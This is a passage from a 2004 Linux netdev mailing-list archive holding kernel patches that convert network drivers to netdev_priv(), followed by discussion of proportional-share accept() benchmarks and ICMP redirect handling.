eidx, txcsmr, rxlimit, txcon; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; if (!(readl(®s->HostCtrl) & RR_INT)) @@ -1133,7 +1133,7 @@ static irqreturn_t rr_interrupt(int irq, static void rr_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = netdev_priv(dev); struct rr_regs *regs = rrpriv->regs; unsigned long flags; @@ -1160,7 +1160,7 @@ static void rr_timer(unsigned long data) static int rr_open(struct net_device *dev) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = netdev_priv(dev); struct pci_dev *pdev = rrpriv->pci_dev; struct rr_regs *regs; int ecode = 0; @@ -1296,7 +1296,7 @@ static void rr_dump(struct net_device *d short i; int len; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; printk("%s: dumping NIC TX rings\n", dev->name); @@ -1361,7 +1361,7 @@ static int rr_close(struct net_device *d netif_stop_queue(dev); - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; /* @@ -1418,7 +1418,7 @@ static int rr_close(struct net_device *d static int rr_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct rr_private *rrpriv = (struct rr_private *)dev->priv; + struct rr_private *rrpriv = netdev_priv(dev); struct rr_regs *regs = rrpriv->regs; struct ring_ctrl *txctrl; unsigned long flags; @@ -1488,7 +1488,7 @@ static struct net_device_stats *rr_get_s { struct rr_private *rrpriv; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); return(&rrpriv->stats); } @@ -1511,7 +1511,7 @@ static int rr_load_firmware(struct net_d u32 p2len, p2size, nr_seg, revision, io, sram_size; struct eeprom *hw = NULL; - rrpriv = (struct rr_private *)dev->priv; + rrpriv = netdev_priv(dev); regs = rrpriv->regs; if (dev->flags & IFF_UP) @@ -1614,7 +1614,7 @@ static int rr_ioctl(struct net_device *d unsigned int i; int error = -EOPNOTSUPP; - rrpriv = dev->priv; + rrpriv = netdev_priv(dev); switch(cmd){ case SIOCRRGFW: diff -puN drivers/net/sb1000.c~drivers_net_casts drivers/net/sb1000.c --- linux-264-302-priv/drivers/net/sb1000.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sb1000.c 2004-03-02 14:29:21.000000000 -0800 @@ -746,7 +746,7 @@ sb1000_rx(struct net_device *dev) int ioaddr, ns; unsigned int skbsize; struct sk_buff *skb; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); struct net_device_stats *stats = &lp->stats; /* SB1000 frame constants */ @@ -905,7 +905,7 @@ sb1000_error_dpc(struct net_device *dev) char *name; unsigned char st[5]; int ioaddr[2]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); const unsigned char Command0[6] = {0x80, 0x26, 0x00, 0x00, 0x00, 0x00}; const int ErrorDpcCounterInitialize = 200; @@ -932,7 +932,7 @@ sb1000_open(struct net_device *dev) { char *name; int ioaddr[2], status; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); const unsigned short FirmwareVersion[] = {0x01, 0x01}; ioaddr[0] = dev->base_addr; @@ -998,7 +998,7 @@ static int sb1000_dev_ioctl(struct net_d short PID[4]; int ioaddr[2], status, frequency; unsigned int stats[5]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); if (!(dev && dev->flags & IFF_UP)) return -ENODEV; @@ -1092,7 +1092,7 @@ static irqreturn_t sb1000_interrupt(int unsigned char st; int ioaddr[2]; struct net_device *dev = (struct net_device *) dev_id; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); const unsigned char Command0[6] = {0x80, 0x2c, 0x00, 0x00, 0x00, 0x00}; const unsigned char Command1[6] = {0x80, 0x2e, 0x00, 0x00, 0x00, 0x00}; @@ -1148,7 +1148,7 @@ static irqreturn_t sb1000_interrupt(int static struct net_device_stats *sb1000_stats(struct net_device *dev) { - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); return &lp->stats; } @@ -1156,7 +1156,7 @@ static int sb1000_close(struct net_devic { int i; int ioaddr[2]; - struct sb1000_private *lp = (struct sb1000_private *)dev->priv; + struct sb1000_private *lp = netdev_priv(dev); if (sb1000_debug > 2) printk(KERN_DEBUG "%s: Shutting down sb1000.\n", dev->name); diff -puN drivers/net/sb1250-mac.c~drivers_net_casts drivers/net/sb1250-mac.c --- linux-264-302-priv/drivers/net/sb1250-mac.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sb1250-mac.c 2004-03-02 14:32:50.000000000 -0800 @@ -2080,7 +2080,7 @@ static int sbmac_set_duplex(struct sbmac static irqreturn_t sbmac_intr(int irq,void *dev_instance,struct pt_regs *rgs) { struct net_device *dev = (struct net_device *) dev_instance; - struct sbmac_softc *sc = (struct sbmac_softc *) (dev->priv); + struct sbmac_softc *sc = netdev_priv(dev); uint64_t isr; int handled = 0; @@ -2150,7 +2150,7 @@ static irqreturn_t sbmac_intr(int irq,vo ********************************************************************* */ static int sbmac_start_tx(struct sk_buff *skb, struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); /* lock eth irq */ spin_lock_irq (&sc->sbm_lock); @@ -2374,7 +2374,7 @@ static int sbmac_init(struct net_device int i; int err; - sc = (struct sbmac_softc *)dev->priv; + sc = netdev_priv(dev); /* Determine controller base address */ @@ -2454,7 +2454,7 @@ static int sbmac_init(struct net_device static int sbmac_open(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); if (debug > 1) { printk(KERN_DEBUG "%s: sbmac_open() irq %d.\n", dev->name, dev->irq); @@ -2609,7 +2609,7 @@ static int sbmac_mii_poll(struct sbmac_s static void sbmac_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); int next_tick = HZ; int mii_status; @@ -2655,7 +2655,7 @@ static void sbmac_timer(unsigned long da static void sbmac_tx_timeout (struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *) dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); spin_lock_irq (&sc->sbm_lock); @@ -2673,7 +2673,7 @@ static void sbmac_tx_timeout (struct net static struct net_device_stats *sbmac_get_stats(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); unsigned long flags; spin_lock_irqsave(&sc->sbm_lock, flags); @@ -2691,7 +2691,7 @@ static void sbmac_set_rx_mode(struct net { unsigned long flags; int msg_flag = 0; - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); spin_lock_irqsave(&sc->sbm_lock, flags); if ((dev->flags ^ sc->sbm_devflags) & IFF_PROMISC) { @@ -2726,7 +2726,7 @@ static void sbmac_set_rx_mode(struct net static int sbmac_mii_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); u16 *data = (u16 *)&rq->ifr_data; unsigned long flags; int retval; @@ -2762,7 +2762,7 @@ static int sbmac_mii_ioctl(struct net_de static int sbmac_close(struct net_device *dev) { - struct sbmac_softc *sc = (struct sbmac_softc *)dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); unsigned long flags; int irq; @@ -2911,7 +2911,7 @@ sbmac_cleanup_module(void) for (idx = 0; idx < MAX_UNITS; idx++) { dev = dev_sbmac[idx]; if (!dev) { - struct sbmac_softc *sc = dev->priv; + struct sbmac_softc *sc = netdev_priv(dev); unregister_netdev(dev); sbmac_uninitctx(sc); free_netdev(dev); diff -puN drivers/net/seeq8005.c~drivers_net_casts drivers/net/seeq8005.c --- linux-264-302-priv/drivers/net/seeq8005.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/seeq8005.c 2004-03-02 14:33:41.000000000 -0800 @@ -357,7 +357,7 @@ out: */ static int seeq8005_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); { int irqval = request_irq(dev->irq, &seeq8005_interrupt, 0, "seeq8005", dev); @@ -390,7 +390,7 @@ static void seeq8005_timeout(struct net_ static int seeq8005_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); short length = skb->len; unsigned char *buf; @@ -424,7 +424,7 @@ static irqreturn_t seeq8005_interrupt(in int handled = 0; ioaddr = dev->base_addr; - lp = (struct net_local *)dev->priv; + lp = netdev_priv(dev); status = inw(SEEQ_STATUS); do { @@ -462,7 +462,7 @@ static irqreturn_t seeq8005_interrupt(in /* We have a good packet(s), get it/them out of the buffers. */ static void seeq8005_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int boguscount = 10; int pkt_hdr; int ioaddr = dev->base_addr; @@ -561,7 +561,7 @@ static void seeq8005_rx(struct net_devic /* The inverse routine to net_open(). */ static int seeq8005_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; lp->open_time = 0; @@ -583,7 +583,7 @@ static int seeq8005_close(struct net_dev closed. */ static struct net_device_stats *seeq8005_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); return &lp->stats; } @@ -618,7 +618,7 @@ static void set_multicast_list(struct ne void seeq8005_init(struct net_device *dev, int startp) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int i; diff -puN drivers/net/sgiseeq.c~drivers_net_casts drivers/net/sgiseeq.c --- linux-264-302-priv/drivers/net/sgiseeq.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sgiseeq.c 2004-03-02 14:35:32.000000000 -0800 @@ -151,7 +151,7 @@ static inline void seeq_load_eaddr(struc static int seeq_init_ring(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); volatile struct sgiseeq_init_block *ib = &sp->srings; int i; @@ -423,7 +423,7 @@ static inline void sgiseeq_tx(struct net static irqreturn_t sgiseeq_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *) dev_id; - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); struct hpc3_ethregs *hregs = sp->hregs; struct sgiseeq_regs *sregs = sp->sregs; @@ -445,7 +445,7 @@ static irqreturn_t sgiseeq_interrupt(int static int sgiseeq_open(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *)dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); struct sgiseeq_regs *sregs = sp->sregs; int err = init_seeq(dev, sp, sregs); @@ -459,7 +459,7 @@ static int sgiseeq_open(struct net_devic static int sgiseeq_close(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); struct sgiseeq_regs *sregs = sp->sregs; netif_stop_queue(dev); @@ -472,7 +472,7 @@ static int sgiseeq_close(struct net_devi static inline int sgiseeq_reset(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); struct sgiseeq_regs *sregs = sp->sregs; int err; @@ -494,7 +494,7 @@ void sgiseeq_my_reset(void) static int sgiseeq_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); struct hpc3_ethregs *hregs = sp->hregs; unsigned long flags; struct sgiseeq_tx_desc *td; @@ -560,7 +560,7 @@ static void timeout(struct net_device *d static struct net_device_stats *sgiseeq_get_stats(struct net_device *dev) { - struct sgiseeq_private *sp = (struct sgiseeq_private *) dev->priv; + struct sgiseeq_private *sp = netdev_priv(dev); return &sp->stats; } @@ -710,7 +710,7 @@ static void __exit sgiseeq_exit(void) struct net_device *next, *dev = root_sgiseeq_dev; while (dev) { - sp = (struct sgiseeq_private *) dev->priv; + sp = netdev_priv(dev); next = sp->next_module; unregister_netdev(dev); free_irq(dev->irq, dev); diff -puN drivers/net/sk_g16.c~drivers_net_casts drivers/net/sk_g16.c --- linux-264-302-priv/drivers/net/sk_g16.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/sk_g16.c 2004-03-02 14:37:18.000000000 -0800 @@ -650,7 +650,7 @@ int __init SK_probe(struct net_device *d int sk_addr_flag = 0; /* SK ADDR correct? 1 - no, 0 - yes */ unsigned int rom_addr; /* used to store RAM address used for POS_ADDR */ - struct priv *p = dev->priv; /* SK_G16 private structure */ + struct priv *p = netdev_priv(dev); /* SK_G16 private structure */ if (inb(SK_POS0) != SK_IDLOW || inb(SK_POS1) != SK_IDHIGH) return -ENODEV; @@ -869,7 +869,7 @@ static int SK_open(struct net_device *de int irqtab[] = SK_IRQS; - struct priv *p = (struct priv *)dev->priv; + struct priv *p = netdev_priv(dev); PRINTK(("## %s: At beginning of SK_open(). CSR0: %#06x\n", SK_NAME, SK_read_reg(CSR0))); @@ -1023,7 +1023,7 @@ static int SK_lance_init(struct net_devi { int i; unsigned long flags; - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); struct tmd *tmdp; struct rmd *rmdp; @@ -1196,7 +1196,7 @@ static void SK_timeout(struct net_device static int SK_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); struct tmd *tmdp; static char pad[64]; @@ -1285,7 +1285,7 @@ static irqreturn_t SK_interrupt(int irq, { int csr0; struct net_device *dev = dev_id; - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); PRINTK2(("## %s: SK_interrupt(). status: %#06x\n", @@ -1355,7 +1355,7 @@ static void SK_txintr(struct net_device { int tmdstat; struct tmd *tmdp; - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); PRINTK2(("## %s: SK_txintr() status: %#06x\n", @@ -1469,7 +1469,7 @@ static void SK_rxintr(struct net_device struct rmd *rmdp; int rmdstat; - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); PRINTK2(("## %s: SK_rxintr(). CSR0: %#06x\n", SK_NAME, SK_read_reg(CSR0))); @@ -1653,7 +1653,7 @@ static int SK_close(struct net_device *d static struct net_device_stats *SK_get_stats(struct net_device *dev) { - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); PRINTK(("## %s: SK_get_stats(). CSR0: %#06x\n", SK_NAME, SK_read_reg(CSR0))); @@ -2030,7 +2030,7 @@ void __init SK_print_ram(struct net_devi { int i; - struct priv *p = (struct priv *) dev->priv; + struct priv *p = netdev_priv(dev); printk("## %s: RAM Details.\n" "## RAM at %#08x tmdhead: %#08x rmdhead: %#08x initblock: %#08x\n", diff -puN drivers/net/smc9194.c~drivers_net_casts drivers/net/smc9194.c --- linux-264-302-priv/drivers/net/smc9194.c~drivers_net_casts 2004-03-02 13:38:28.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/net/smc9194.c 2004-03-02 14:38:31.000000000 -0800 @@ -465,7 +465,7 @@ static void smc_setmulticast( int ioaddr */ static int smc_wait_to_send_packet( struct sk_buff * skb, struct net_device * dev ) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); unsigned short ioaddr = dev->base_addr; word length; unsigned short numPages; @@ -576,7 +576,7 @@ static int smc_wait_to_send_packet( stru */ static void smc_hardware_send_packet( struct net_device * dev ) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); byte packet_no; struct sk_buff * skb = lp->saved_skb; word length; @@ -1150,7 +1150,7 @@ static irqreturn_t smc_interrupt(int irq { struct net_device *dev = dev_id; int ioaddr = dev->base_addr; - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); byte status; word card_stats; @@ -1274,7 +1274,7 @@ static irqreturn_t smc_interrupt(int irq */ static void smc_rcv(struct net_device *dev) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); int ioaddr = dev->base_addr; int packet_number; word status; @@ -1401,7 +1401,7 @@ done: static void smc_tx( struct net_device * dev ) { int ioaddr = dev->base_addr; - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); byte saved_packet; byte packet_no; word tx_status; @@ -1474,7 +1474,7 @@ static int smc_close(struct net_device * . This may be called with the card open or closed. .-------------------------------------------------------------*/ static struct net_device_stats* smc_query_statistics(struct net_device *dev) { - struct smc_local *lp = (struct smc_local *)dev->priv; + struct smc_local *lp = netdev_priv(dev); return &lp->stats; } _ -- ~Randy From rddunlap@osdl.org Thu Mar 4 13:21:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:21:51 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LLYKO019974 for ; Thu, 4 Mar 2004 13:21:35 -0800 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i24LLTE29500 for ; Thu, 4 Mar 2004 13:21:29 -0800 Date: Thu, 4 Mar 2004 13:20:37 -0800 From: "Randy.Dunlap" To: netdev Subject: Re: [janitor] use netdev_priv() in fusion/mptlan Message-Id: <20040304132037.5c447dde.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3755 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 3583 Lines: 113 | | From: Carlo Perassi | and Randy.Dunap -- ~Randy linux-264-302-priv-rddunlap/drivers/message/fusion/mptlan.c | 20 ++++++------ 1 files changed, 10 insertions(+), 10 deletions(-) diff -puN drivers/message/fusion/mptlan.c~fusion_mptlan_casts drivers/message/fusion/mptlan.c --- linux-264-302-priv/drivers/message/fusion/mptlan.c~fusion_mptlan_casts 2004-03-02 12:48:15.000000000 -0800 +++ linux-264-302-priv-rddunlap/drivers/message/fusion/mptlan.c 2004-03-02 12:52:10.000000000 -0800 @@ -337,7 +337,7 @@ static int mpt_lan_ioc_reset(MPT_ADAPTER *ioc, int reset_phase) { struct net_device *dev = mpt_landev[ioc->id]; - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); dlprintk((KERN_INFO MYNAM ": IOC %s_reset routed to LAN driver!\n", reset_phase==MPT_IOC_PRE_RESET ? "pre" : "post")); @@ -406,7 +406,7 @@ mpt_lan_event_process(MPT_ADAPTER *ioc, static int mpt_lan_open(struct net_device *dev) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); int i; if (mpt_lan_reset(dev) != 0) { @@ -497,7 +497,7 @@ mpt_lan_reset(struct net_device *dev) { MPT_FRAME_HDR *mf; LANResetRequest_t *pResetReq; - struct mpt_lan_priv *priv = (struct mpt_lan_priv *)dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); mf = mpt_get_msg_frame(LanCtx, priv->mpt_dev->id); @@ -526,7 +526,7 @@ mpt_lan_reset(struct net_device *dev) static int mpt_lan_close(struct net_device *dev) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); MPT_ADAPTER *mpt_dev = priv->mpt_dev; unsigned int timeout; int i; @@ -587,7 +587,7 @@ mpt_lan_close(struct net_device *dev) static struct net_device_stats * mpt_lan_get_stats(struct net_device *dev) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *)dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); return (struct net_device_stats *) &priv->stats; } @@ -607,7 +607,7 @@ mpt_lan_change_mtu(struct net_device *de static void mpt_lan_tx_timeout(struct net_device *dev) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); MPT_ADAPTER *mpt_dev = priv->mpt_dev; if (mpt_dev->active) { @@ -621,7 +621,7 @@ mpt_lan_tx_timeout(struct net_device *de static int mpt_lan_send_turbo(struct net_device *dev, u32 tmsg) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); MPT_ADAPTER *mpt_dev = priv->mpt_dev; struct sk_buff *sent; unsigned long flags; @@ -654,7 +654,7 @@ mpt_lan_send_turbo(struct net_device *de static int mpt_lan_send_reply(struct net_device *dev, LANSendReply_t *pSendRep) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); MPT_ADAPTER *mpt_dev = priv->mpt_dev; struct sk_buff *sent; unsigned long flags; @@ -727,7 +727,7 @@ out: static int mpt_lan_sdu_send (struct sk_buff *skb, struct net_device *dev) { - struct mpt_lan_priv *priv = (struct mpt_lan_priv *) dev->priv; + struct mpt_lan_priv *priv = netdev_priv(dev); MPT_ADAPTER *mpt_dev = priv->mpt_dev; MPT_FRAME_HDR *mf; LANSendRequest_t *pSendReq; @@ -1369,7 +1369,7 @@ mpt_register_lan_device (MPT_ADAPTER *mp dev->mtu = MPT_LAN_MTU; - priv = (struct mpt_lan_priv *) dev->priv; + priv = netdev_priv(dev); priv->mpt_dev = mpt_dev; priv->pnum = pnum; _ -- ~Randy From rz5b@cs.virginia.edu Thu Mar 4 13:52:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 13:52:37 -0800 (PST) Received: from ares.cs.Virginia.EDU (ares.cs.Virginia.EDU [128.143.137.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24LqSKO027023 for ; Thu, 4 Mar 2004 13:52:28 -0800 Received: from mamba.cs.Virginia.EDU (mamba.cs.Virginia.EDU [128.143.137.15]) by ares.cs.Virginia.EDU (8.12.10/8.12.10/UVACS-2004022400) with ESMTP id i24LqNKn009806; Thu, 4 Mar 2004 16:52:23 -0500 (EST) Received: from localhost (rz5b@localhost) by mamba.cs.Virginia.EDU (8.11.6+Sun/8.9.2) with ESMTP id i24LqMt10688; Thu, 4 Mar 2004 16:52:22 -0500 (EST) X-Authentication-Warning: mamba.cs.Virginia.EDU: rz5b owned process doing -bs Date: Thu, 4 Mar 2004 16:52:22 -0500 (EST) From: Ronghua Zhang To: Vivek Kashyap cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3757 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rz5b@cs.virginia.edu Precedence: bulk X-list: netdev Content-Length: 3604 Lines: 86 This is not surprising, since using iptable means every packet, inbound or outbound, has to be changed. My scheme does not have this overhead either, for it only involves moving open_request among the accept queues. Ronghua On Thu, 4 Mar 2004, Vivek Kashyap wrote: > The following results show the efficacy of the patch for proportional share > accept queues. > > I utilised Apache with no changes in configuration. Then used httperf to > on three different machines. Did not change any parameters > on the server or the client machines. Ran httperf to get the default test.html > page repeatedly: > /httperf --server xx.xx.xx.xx --port 80 --uri /test.html --rate 2000 \ > --num-conn 100000 --num-call 1 --timeout 5 > > Three clients simultaneously bombarded the server. When the shares patch is > not used the three clients get about equal service. > > With the proportional shares patch the favoured client gets a proportional > number of its requests services in much shorter time. > > With port redirection the results are much poorer. The conntrack module is > randomly dropping some of the requests too since its hash table gets full. The > application will further require modification to provide proportional shares > which is much more work. > > 1. The results without utilising the shares are: > > Total: connections 41993 requests 37195 replies 36951 test-duration 52.984 s > Reply rate [replies/s]: min 646.1 avg 723.0 max 946.5 stddev 95.1 (10 samples) > Reply time [ms]: response 151.3 transfer 0.0 > > Total: connections 41972 requests 37132 replies 37081 test-duration 52.996 s > Reply rate [replies/s]: min 674.7 avg 724.9 max 805.3 stddev 35.1 (10 samples) > Reply time [ms]: response 95.0 transfer 0.0 > > Total: connections 47171 requests 43037 replies 42991 test-duration 53.122 s > Reply rate [replies/s]: min 777.2 avg 844.2 max 895.1 stddev 39.3 (10 samples) > Reply time [ms]: response 92.1 transfer 0.0 > > 2. With proportional share patch: > > The shares are were assigned in the ratio: 1:3:6. The results are listed > in order: > > Total: connections 21566 requests 14695 replies 14251 test-duration 52.947 s > Reply rate [replies/s]: min 208.0 avg 268.0 max 730.0 stddev 162.4 (10 samples) > Reply time [ms]: response 518.3 transfer 0.0 > > Total: connections 41016 requests 34110 replies 34060 test-duration 52.981 s > Reply rate [replies/s]: min 632.9 avg 667.9 max 707.5 stddev 20.1 (10 samples) > Reply time [ms]: response 204.4 transfer 0.0 > > Total: connections 71264 requests 67089 replies 67008 test-duration 53.003 s > Reply rate [replies/s]: min 1214.3 avg 1323.1 max 1366.7 stddev 44.2 (10 samples) > Reply time [ms]: response 110.5 transfer 0.0 > > > 3. Port redirect test > > As a test case then modified httpd.conf to listen on three ports 8081/82/83. > Used iptables REDIRECT target to forward the packets to these ports. The > clients still communicate with port 80. As expected the results are not as > good. > > Total: connections 33104 requests 27385 replies 26845 test-duration 54.992 s > Reply rate [replies/s]: min 325.8 avg 534.9 max 868.5 stddev 205.0 (10 samples) > Reply time [ms]: response 300.1 transfer 0.0 > > Total: connections 28022 requests 21536 replies 21391 test-duration 54.994 s > Reply rate [replies/s]: min 2.0 avg 427.8 max 686.8 stddev 211.7 (10 samples) > Reply time [ms]: response 309.8 transfer 0.0 > > Total: connections 27452 requests 21045 replies 20907 test-duration 54.992 s > Reply rate [replies/s]: min 1.4 avg 418.1 max 632.7 stddev 208.2 (10 samples) > Reply time [ms]: response 310.0 transfer 0.0 > > Vivek > > > From kuznet@ms2.inr.ac.ru Thu Mar 4 14:03:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 14:03:27 -0800 (PST) Received: from yakov.inr.ac.ru ([194.67.69.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24M32KO028847 for ; Thu, 4 Mar 2004 14:03:03 -0800 Received: (from kuznet@localhost) by yakov.inr.ac.ru (8.6.13/ANK) id BAA10586; Fri, 5 Mar 2004 01:02:18 +0300 From: kuznet@ms2.inr.ac.ru Message-Id: <200403042202.BAA10586@yakov.inr.ac.ru> Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) To: ja@ssi.bg (Julian Anastasov) Date: Fri, 5 Mar 2004 01:02:18 +0300 (MSK) Cc: davem@redhat.com, niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, netdev@oss.sgi.com, chester.f.johnson@intel.com In-Reply-To: from "Julian Anastasov" at íÁÒ 04, 2004 10:56:26 X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3758 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Content-Length: 865 Lines: 27 Hello! > - do we need to walk all tos values for ip_rt_redirect in the same > way as for ip_rt_frag_needed, Well, it is just the same thing (except for one thing, that ignored redirects are harmless) > - from another thread: whether ICMP redirects modify only > routes via gateway when shared_media is ON: > > http://marc.theaimsgroup.com/?l=linux-netdev&m=107109827516060&w=2 "message but we are sure we hit the target IP directly" You cannot be sure, actually. This happens and resolves the situation when the things sort ip route add default dev eth0 are used i.e. host does not know real prefixes. If this is a security issue (I do not see actually, the things on link can be screwed via proxy arp et all in any case), make it a separate option or even better use IN_DEV_SEC_REDIRECTS(in_dev) like similar paranoid case for !shared_media case. Alexey From ralf@linux-mips.org Thu Mar 4 14:04:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 04 Mar 2004 14:04:28 -0800 (PST) Received: from mail.linux-mips.net (p508B7C93.dip.t-dialin.net [80.139.124.147]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i24M4NKO029263 for ; Thu, 4 Mar 2004 14:04:25 -0800 Received: from fluff.linux-mips.net (fluff.linux-mips.net [127.0.0.1]) by mail.linux-mips.net (8.12.8/8.12.8) with ESMTP id 